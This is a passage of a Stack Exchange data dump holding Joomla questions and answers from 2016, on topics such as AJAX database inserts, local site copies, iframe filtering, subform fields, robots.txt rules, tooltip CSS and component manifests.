   VALUES('&quot;.$_Company_Name.&quot;','&quot;.$_Company_Address.&quot;','&quot;.date(&quot;Y-m-d H:i:s&quot;).&quot;')&quot;;&#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        try&#xA;        {&#xA;            $db-&amp;gt;setQuery($insert_query);&#xA;            $db-&amp;gt;query();&#xA;        }&#xA;        catch (RuntimeException $e)&#xA;        {&#xA;            $e-&amp;gt;getMessage();&#xA;            error_log('This query failed: '.$insert_query, 0);&#xA;            error_log($e-&amp;gt;getMessage(), 0);&#xA;            return false;&#xA;        }&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9195" LastEditorUserId="126" LastEditDate="2017-09-09T16:11:23.443" LastActivityDate="2017-09-09T16:11:23.443" Title="AJAX post not able to update database" Tags="|php|mysql|jquery|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18180" PostTypeId="1" CreationDate="2016-10-25T07:36:20.653" Score="1" ViewCount="2669" Body="&lt;p&gt;I checked all the previous questions related to mine, but nothing helped.&#xA;I have a running website based on Joomla, I wanted to copy it to my local device for test reasons.&#xA;I did exactly the steps which needed to be done to install the website which is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Took a backup from my website using Akeeba&lt;/li&gt;&#xA;&lt;li&gt;Copy my DB and create the same one locally&lt;/li&gt;&#xA;&lt;li&gt;Used Kickstart to unpack the backup files&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then I tried to run my website (localhost/name); &lt;code&gt;name&lt;/code&gt;= &lt;code&gt;the name of the folder&lt;/code&gt; inside &lt;code&gt;www directory&lt;/code&gt; where i unpacked my files in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If i was connected to the internet then i'm redirected to the live site (the original one)&lt;/li&gt;&#xA;&lt;li&gt;If i'm not connected to the internet then nothing happens.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I browse this URL : &lt;code&gt;localhost/name/administrator&lt;/code&gt;&lt;br&gt;&#xA;I have a box to put username and password after filling it I have a server failure.&lt;/p&gt;&#xA;" OwnerUserId="9189" LastEditorUserId="383" LastEditDate="2016-10-27T07:42:07.300" LastActivityDate="2016-10-27T07:42:07.300" Title="Create a local copy of live Joomla website on Wamp server" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18181" PostTypeId="1" CreationDate="2016-10-25T09:56:17.023" Score="3" ViewCount="993" Body="&lt;p&gt;For Joomla 3.6.2, Trying to embed video - but iframe tags and the code in it are stripped on saving&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did following&#xA;1 Check and removed iframe from prohibitor element in Tinmce editor in plugin settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Check Text Filter settings - its having no restriction for super user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 No other security tool installed other than akeeba admin tools - no such setting to disallow iframe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked field settings - its&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;n_long_description&quot; type=&quot;editor&quot; buttons=&quot;true&quot; filter=&quot;safehtml&quot; label=&quot;NEWS&quot; description=&quot;NEWS DESCRIPTION&quot; hint=&quot;Detail&quot; required=&quot;true&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pl advise why is iframe tag been removed on saving &lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2018-04-16T06:22:16.560" Title="Youtube Iframe tag stripped on saving" Tags="|joomla-3.x|editor|tinymce|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18182" PostTypeId="2" ParentId="17652" CreationDate="2016-10-25T10:34:43.230" Score="1" Body="&lt;p&gt;You can use the &lt;em&gt;index.php&lt;/em&gt; file in joomla root folder, it should be called on every page, but I don't know if it could be overwritten in future joomla updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way could be including your code in your template (&lt;em&gt;index.php&lt;/em&gt;, &lt;em&gt;component.php&lt;/em&gt; and &lt;em&gt;error.php&lt;/em&gt;) to reach every page in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-10-25T10:34:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18183" PostTypeId="2" ParentId="18181" CreationDate="2016-10-25T11:43:02.383" Score="2" Body="&lt;p&gt;I am a big fan of the &lt;b&gt;NoNumbers Sourcerer&lt;/b&gt; plugin.  It allows you to put any type of code into articles and custom modules very easily and the free version will do what you need.  There have been several times that I had done troubleshooting to same issue as you, fixed it, and then some future upgrade broke it again and I lost my code.  This way protects you from that.&lt;br/&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer#sourcerer-description&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/sourcerer#sourcerer-description&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-10-25T11:43:02.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18184" PostTypeId="2" ParentId="18175" CreationDate="2016-10-25T12:12:18.097" Score="1" Body="&lt;p&gt;Please note that the original repeatable field is deprecated in favor of the subform field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you need to deal with the data before saving it to the database. What I did for a single text field within a subform field was this in the &lt;code&gt;postSaveHook&lt;/code&gt; method of the controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($validData['subform']))&#xA;{&#xA;    $tupel = new stdClass;&#xA;    $tupel-&amp;gt;id = 0;&#xA;    $tupel-&amp;gt;refere_id = (int) $validData['id'];&#xA;&#xA;    foreach ($validData['subform'] as $tmp)&#xA;    {&#xA;        if (empty($tmp['repeatable']))&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        $tupel-&amp;gt;repeatable= $tmp['repeatable'];&#xA;&#xA;        $db-&amp;gt;insertObject('#__cross_table_for_repeatable', $tupel);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;subform&lt;/code&gt; is the name of the subform field, &lt;code&gt;repeatable&lt;/code&gt; the name of the actual repeated field containing the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I did store it into a n:n table. In your case you may store it as JSON string into the regular table. In that case you would have to convert it from an array to a JSON string before the saving happens. You should be able to do that in the models &lt;code&gt;validate&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2016-10-25T12:12:18.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18185" PostTypeId="2" ParentId="18179" CreationDate="2016-10-25T12:26:15.860" Score="1" Body="&lt;p&gt;Please, use Joomla's Ajax interface which is fully explained &lt;a href=&quot;http://www.itoctopus.com/how-to-use-joomlas-ajax-interface-component-com_ajax&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Do not reinvent the wheel and use your own Ajax calls - this is bad both for security and scalability.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-25T12:26:15.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18186" PostTypeId="2" ParentId="18165" CreationDate="2016-10-25T12:28:49.627" Score="1" Body="&lt;p&gt;Just upload the zip file to your Joomla website and extract it manually there. This is a manual update and it typically works smoothly when you are jumping to the immediate next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GoDaddy block a lot of functionality on most of their shared servers and that might be the cause of why you're seeing the problem.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-25T12:28:49.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18187" PostTypeId="2" ParentId="18180" CreationDate="2016-10-25T15:44:55.423" Score="0" Body="&lt;p&gt;Check your &lt;code&gt;configuration.php&lt;/code&gt; in site root folder manually (not through Global Configuration), and make sure that variable &lt;code&gt;$live_site&lt;/code&gt; contains your localhost virtual domain name (if you created one), or it is empty (if you didn't create virtual host).&lt;br&gt;&#xA;But make sure it doesn't contain your live site URL. That might be a reason for different outcome of accessing your local copy depending of Internet connectivity.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-10-25T15:44:55.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18188" PostTypeId="1" CreationDate="2016-10-25T17:36:22.220" Score="0" ViewCount="2020" Body="&lt;p&gt;Does any know how to edit the default tooltip in joomla 3.6, i cant seem to find the classes in the CSS files. &lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-10-26T10:02:12.123" Title="Styling the default tooltip in joomla 3.6.X" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18189" PostTypeId="1" AcceptedAnswerId="18221" CreationDate="2016-10-26T01:06:57.743" Score="2" ViewCount="1123" Body="&lt;p&gt;I have the basic xml file where in I call subforms into two tabs. Called Tab 1 and Tab 2. The content of this file is below.&lt;/p&gt;&#xA;&lt;p&gt;mod_something.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset  name=&amp;quot;tab1&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;storymaker&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;           formsource=&amp;quot;/modules/mod_something/models/forms/storymaker.xml&amp;quot;&#xA;           min=&amp;quot;1&amp;quot;&#xA;           max=&amp;quot;9999999999&amp;quot;&#xA;           multiple=&amp;quot;true&amp;quot;&#xA;           layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot;&#xA;           groupByFieldset=&amp;quot;false&amp;quot;&#xA;           buttons=&amp;quot;&amp;quot;&#xA;           label=&amp;quot;MOD_SOMETHING_-STORYMAKER-_LABEL&amp;quot;&#xA;           description=&amp;quot;MOD_SOMETHING_-STORYMAKER-_DESC&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;fieldset  name=&amp;quot;tab2&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;characters&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;           formsource=&amp;quot;/modules/mod_something/models/forms/characters.xml&amp;quot;&#xA;           min=&amp;quot;1&amp;quot;&#xA;           max=&amp;quot;9999999999&amp;quot;&#xA;           multiple=&amp;quot;true&amp;quot;&#xA;           layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot;&#xA;           groupByFieldset=&amp;quot;false&amp;quot;&#xA;           buttons=&amp;quot;&amp;quot;&#xA;           label=&amp;quot;MOD_SOMETHING_-CHARACTERS-_LABEL&amp;quot;&#xA;           description=&amp;quot;MOD_SOMETHING_-CHARACTERS-_DESC&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now in the form that is loaded into tab1 I have this content.&lt;/p&gt;&#xA;&lt;p&gt;storymaker.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;field name=&amp;quot;characterselection&amp;quot; label=&amp;quot;&amp;quot; type=&amp;quot;characterselection&amp;quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the form in tab 2 consists out of this:&lt;/p&gt;&#xA;&lt;p&gt;characters.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;field&#xA;    name=&amp;quot;character_name&amp;quot;&#xA;    type=&amp;quot;text&amp;quot;&#xA;    default=&amp;quot;&amp;quot;&#xA;    label=&amp;quot;MOD_SOMETHING_-CHARACTERNAME-_LABEL&amp;quot;&#xA;    description=&amp;quot;MOD_SOMETHING_-CHARACTERNAME-_DESC&amp;quot;&#xA;    size=&amp;quot;10&amp;quot;&#xA;  /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In tab 1 I use a custom field this custom field is build up like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;$document = JFactory::getDocument();&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$characters = $params-&amp;gt;get('characters');&#xA;//$characters1 = $jinput-&amp;gt;json-&amp;gt;get('characters');&#xA;//$characters2 = $jinput-&amp;gt;get('characters', null, null);&#xA;//$characters3 = $jinput-&amp;gt;get-&amp;gt;get('characters', NULL, NULL);&#xA;//$characters4 = $jinput-&amp;gt;post-&amp;gt;get('characters', NULL, NULL);&#xA;//$characters5 = $jinput-&amp;gt;server-&amp;gt;get('characters', NULL, NULL);&#xA;class JFormFieldCharacterSelection extends JFormField {&#xA;&#xA;protected $type = 'characterselection';&#xA;&#xA;public function getInput() {&#xA;&#xA;  foreach ($characters as $character) {&#xA;    $character[] = $row-&amp;gt;character_name;&#xA;  }&#xA;  // Merge any additional options in the XML definition.&#xA;  $options = array_merge(parent::getInput(), $character);&#xA;  return $options;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have already tried everything I could think off but to no good. So here I am asking for your help.&lt;/p&gt;&#xA;&lt;h1&gt;what do I want to achieve&lt;/h1&gt;&#xA;&lt;p&gt;A) In tab2 I have a list of names created via a repeatable subform so that it can be 10 names or a 1000.&lt;/p&gt;&#xA;&lt;p&gt;B) In tab1 I have another repeatable subform wherein I want to display a dropdown generated from the names given in tab2.&lt;/p&gt;&#xA;&lt;p&gt;C) Then I want to show these names on the frontend via the normal foreach used for the subforms.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$storymaker = $params-&amp;gt;get('storymaker');&#xA;foreach ($storymaker as $sm) :&#xA;  echo $sm-&amp;gt;characterselection . ' ';&#xA;  echo '&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;';&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;what have I achieved so far&lt;/h1&gt;&#xA;&lt;p&gt;Sadly I only have achieved A. So I need help with B and I think that if that works C goes automatically alright but if not I might need help with that as well.&lt;/p&gt;&#xA;&lt;h1&gt;what have I tried so far&lt;/h1&gt;&#xA;&lt;p&gt;I tried every single thing I could find on the internet about subforms and using parameters from a module inside a module. You can see parts of this left in the above code (commented).&lt;/p&gt;&#xA;&lt;h1&gt;sorry for not being able to give short pinpointed code.&lt;/h1&gt;&#xA;&lt;p&gt;I had to put up all the files that are related to my problem otherwise I think no one would be able to understand what I am talking about. But sorry for the long text and code pieces.&lt;/p&gt;&#xA;&lt;h1&gt;thanks everyone for helping.&lt;/h1&gt;&#xA;" OwnerUserId="3920" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-10-28T12:29:56.023" Title="use Joomla Subform field values in custom field from same module" Tags="|joomla-3.x|jinput|module-params|custom-field|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18190" PostTypeId="1" CreationDate="2016-10-26T02:07:58.147" Score="2" ViewCount="467" Body="&lt;p&gt;I override the Joomla &lt;code&gt;mod_article_category&lt;/code&gt;. I set hide introtext in Joomla CMS. And I used the &lt;code&gt;print_r($list)&lt;/code&gt; to check the fulltext variable. However, there are [fulltext] but no content after &lt;code&gt;print_r($list)&lt;/code&gt;. How can I display the fulltext in the &lt;code&gt;mod_article_category&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9198" LastEditorUserId="126" LastEditDate="2016-11-25T09:24:23.510" LastActivityDate="2016-11-25T09:24:23.510" Title="How to show the full text in mod_article_category?" Tags="|joomla-3.x|overrides|mod-articles-category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18191" PostTypeId="2" ParentId="18190" CreationDate="2016-10-26T07:21:08.007" Score="1" Body="&lt;p&gt;If you don't use the &quot;Read more&quot; separator in article's content editor, all the  text is actually stored in the &lt;em&gt;introtext&lt;/em&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use that field to print full content or add the &quot;read more&quot; in your articles.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-10-26T07:21:08.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18193" PostTypeId="1" AcceptedAnswerId="18198" CreationDate="2016-10-26T09:12:34.890" Score="3" ViewCount="250" Body="&lt;p&gt;I have taken over a joomla project from another consulting company, and I have made several improvements and changes to one of the components. Now my client is asking me to migrate this component to a similar project. Unfortunately, the component is missing its manifest file! As a bit of a Joomla newbie, I'm a bit worried I will get it wrong if I try to recreate it from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to regenerate a manifest file from an installed component? Alternatively, is there a way to copy a component from one Joomla site to another one without having a manifest file?&lt;/p&gt;&#xA;" OwnerUserId="9200" LastActivityDate="2016-10-26T12:53:20.907" Title="Install Joomla component without manifest file" Tags="|component|joomla-3.5|installation|manifest|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18194" PostTypeId="1" CreationDate="2016-10-26T09:44:38.660" Score="1" ViewCount="617" Body="&lt;p&gt;Oddly, this site &lt;a href=&quot;http://mcveighparker.com/&quot; rel=&quot;nofollow&quot;&gt;http://mcveighparker.com/&lt;/a&gt; isn't working correctly in the frontend - showing Error 500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backend is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the .htaccess and this appears to be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the template the site is using, but still not working correctly. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After enabling error reporting, I'm now getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'K2Model' not found in XXX/administrator/components/com_k2/models/categories.php on line 18&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="294" LastEditorUserId="168" LastEditDate="2016-10-26T11:47:42.317" LastActivityDate="2016-10-26T11:47:42.317" Title="Error 500 shown in frontend of site. Backend working ok" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18195" PostTypeId="2" ParentId="9583" CreationDate="2016-10-26T09:58:07.383" Score="1" Body="&lt;p&gt;The default &lt;code&gt;robots.txt&lt;/code&gt; file currently looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As per @Mark Bradley's excellent answer the robots.txt file format is not well defined but if you are mainly concerned with allowing Google access to the resources it wishes to see, then I suggest amending the default robots.txt file to include allow statements for the folders that may possibly contain CSS and JS files like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Allow: /components/*.css&#xA;Allow: /components/*.js&#xA;Disallow: /components/&#xA;Allow: /includes/*.css&#xA;Allow: /includes/*.js&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Allow: /layouts/*.css&#xA;Allow: /layouts/*.js&#xA;Disallow: /layouts/&#xA;Allow: /libraries/*.css&#xA;Allow: /libraries/*.js&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Allow: /modules/*.css&#xA;Allow: /modules/*.js&#xA;Disallow: /modules/&#xA;Allow: /plugins/*.css&#xA;Allow: /plugins/*.js&#xA;Disallow: /plugins/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web crawlers look for the most specific or longest rule when determining which rule to enforce. For example, &lt;code&gt;Allow: /modules/*.css&lt;/code&gt; overrides &lt;code&gt;Disallow: /modules/&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-10-26T09:58:07.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18196" PostTypeId="2" ParentId="18188" CreationDate="2016-10-26T10:02:12.123" Score="2" Body="&lt;p&gt;Firstly, if your template has a &lt;code&gt;custom.css&lt;/code&gt; file, open it, else create this file in your template's CSS directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code you'll need to edit the base styling of the tooltip is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tooltip {&#xA;  position: absolute;&#xA;  z-index: 1030;&#xA;  display: block;&#xA;  font-size: 11px;&#xA;  line-height: 1.4;&#xA;  opacity: 0;&#xA;  filter: alpha(opacity=0);&#xA;  visibility: visible;&#xA;}&#xA;&#xA;.tooltip.in {&#xA;  opacity: 0.8;&#xA;  filter: alpha(opacity=80);&#xA;}&#xA;&#xA;.tooltip-inner {&#xA;  max-width: 200px;&#xA;  padding: 8px;&#xA;  color: #ffffff;&#xA;  text-align: center;&#xA;  text-decoration: none;&#xA;  background-color: #000000;&#xA;  -webkit-border-radius: 4px;&#xA;     -moz-border-radius: 4px;&#xA;          border-radius: 4px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you also wish to edit the tooltip arrows, you'll need this too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tooltip-arrow {&#xA;  position: absolute;&#xA;  width: 0;&#xA;  height: 0;&#xA;  border-color: transparent;&#xA;  border-style: solid;&#xA;}&#xA;&#xA;.tooltip.top .tooltip-arrow {&#xA;  bottom: 0;&#xA;  left: 50%;&#xA;  margin-left: -5px;&#xA;  border-top-color: #000000;&#xA;  border-width: 5px 5px 0;&#xA;}&#xA;&#xA;.tooltip.right .tooltip-arrow {&#xA;  top: 50%;&#xA;  left: 0;&#xA;  margin-top: -5px;&#xA;  border-right-color: #000000;&#xA;  border-width: 5px 5px 5px 0;&#xA;}&#xA;&#xA;.tooltip.left .tooltip-arrow {&#xA;  top: 50%;&#xA;  right: 0;&#xA;  margin-top: -5px;&#xA;  border-left-color: #000000;&#xA;  border-width: 5px 0 5px 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the styling to whatever suits your needs&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-10-26T10:02:12.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18197" PostTypeId="2" ParentId="5022" CreationDate="2016-10-26T10:24:10.450" Score="0" Body="&lt;p&gt;The /media and /templates folders are no longer blocked in recent versions of &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/robots.txt.dist&quot; rel=&quot;nofollow&quot;&gt;the robots.txt file distributed with Joomla&lt;/a&gt; but extension developers sometimes add CSS or JS files to the &lt;code&gt;/modules&lt;/code&gt; and &lt;code&gt;/plugins&lt;/code&gt; folders (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still block folders but allow Google access to the CSS and JS files in these folders by adding allow statements as in the following example where access is allowed to CSS and JS files in the &lt;code&gt;/modules&lt;/code&gt; and &lt;code&gt;/plugins&lt;/code&gt; folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Allow: /modules/*.css&#xA;Allow: /modules/*.js&#xA;Disallow: /modules/&#xA;Allow: /plugins/*.css&#xA;Allow: /plugins/*.js&#xA;Disallow: /plugins/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-10-26T10:24:10.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18198" PostTypeId="2" ParentId="18193" CreationDate="2016-10-26T12:53:20.907" Score="3" Body="&lt;p&gt;On my opinion you should create the package to install that component, it's quite easy to do.&#xA;Create a folder named as your component (com_name) with 2 folders and the manifest inside:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin : all files from &lt;em&gt;/administrator/components/com_name/&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;site: all files from &lt;em&gt;/components/com_name/&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;com_name.xml : manifest file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the manifest file add just the meta information and the folder/files structure as explained in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;this other one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zip the folder and try to install it on a clean joomla to test it, you can add database tables (if needed) manually to get things simple.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-10-26T12:53:20.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18199" PostTypeId="1" AcceptedAnswerId="18200" CreationDate="2016-10-26T15:35:38.467" Score="0" ViewCount="114" Body="&lt;p&gt;I cannot update to Joomla version 3.6.4 because core files have been changed. I am stuck at 3.4.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want to protect against the vulnerabilities mentioned in &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5678-joomla-3-6-4-released.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/announcements/release-news/5678-joomla-3-6-4-released.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there alternatives to manually going through and merging the core files between my version and the fixed version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do have security plugins like RSFirewall installed.&lt;/p&gt;&#xA;" OwnerUserId="9203" LastActivityDate="2016-10-26T16:01:02.580" Title="Security Alternative to updating to 3.6.4" Tags="|joomla-3.x|security|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18200" PostTypeId="2" ParentId="18199" CreationDate="2016-10-26T16:01:02.580" Score="4" Body="&lt;p&gt;GRR stop modifying core files!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from some basic XML files being updated to cater for the version, only 3 actual core PHP files were updated to fix the security exploit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;administrator\components\com_users\models\user.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;components\com_users\controller\user.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;libraries\fof\encrypt\aes.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I assume, well....I hope, you haven't started modifying these so the update should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Word of advice, if you need to change the way Joomla behaves, create a system plugin. That's what they're there for!&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-10-26T16:01:02.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
